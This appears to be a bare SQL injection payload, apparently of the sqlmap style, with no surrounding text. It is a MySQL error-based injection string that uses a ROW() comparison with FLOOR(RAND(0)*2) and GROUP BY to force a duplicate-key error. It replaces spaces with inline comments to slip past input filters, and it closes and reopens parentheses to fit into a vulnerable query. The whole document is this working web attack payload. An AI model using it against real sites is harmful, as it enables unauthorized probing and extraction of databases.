1)),(SELECT/**/3997/**/FROM/**/(SELECT/**/ROW(3997,6906)>(SELECT/**/COUNT(*),CONCAT('~',(SELECT/**/(ELT(3997=3997,1))),'~',FLOOR(RAND(0)*2))x/**/FROM/**/(SELECT/**/8134/**/UNION/**/SELECT/**/1145/**/UNION/**/SELECT/**/8096/**/UNION/**/SELECT/**/7609)a/**/GROUP/**/BY/**/x))s) AND ((5320=5320